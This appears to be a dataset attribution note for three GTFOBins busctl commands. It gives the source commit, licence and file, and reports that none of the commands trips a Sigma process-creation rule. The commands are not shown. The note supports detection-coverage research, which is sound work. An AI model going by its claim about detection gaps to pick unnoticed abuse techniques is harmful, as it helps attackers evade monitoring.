None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for busctl. The identifier reads the line of each that runs busctl.
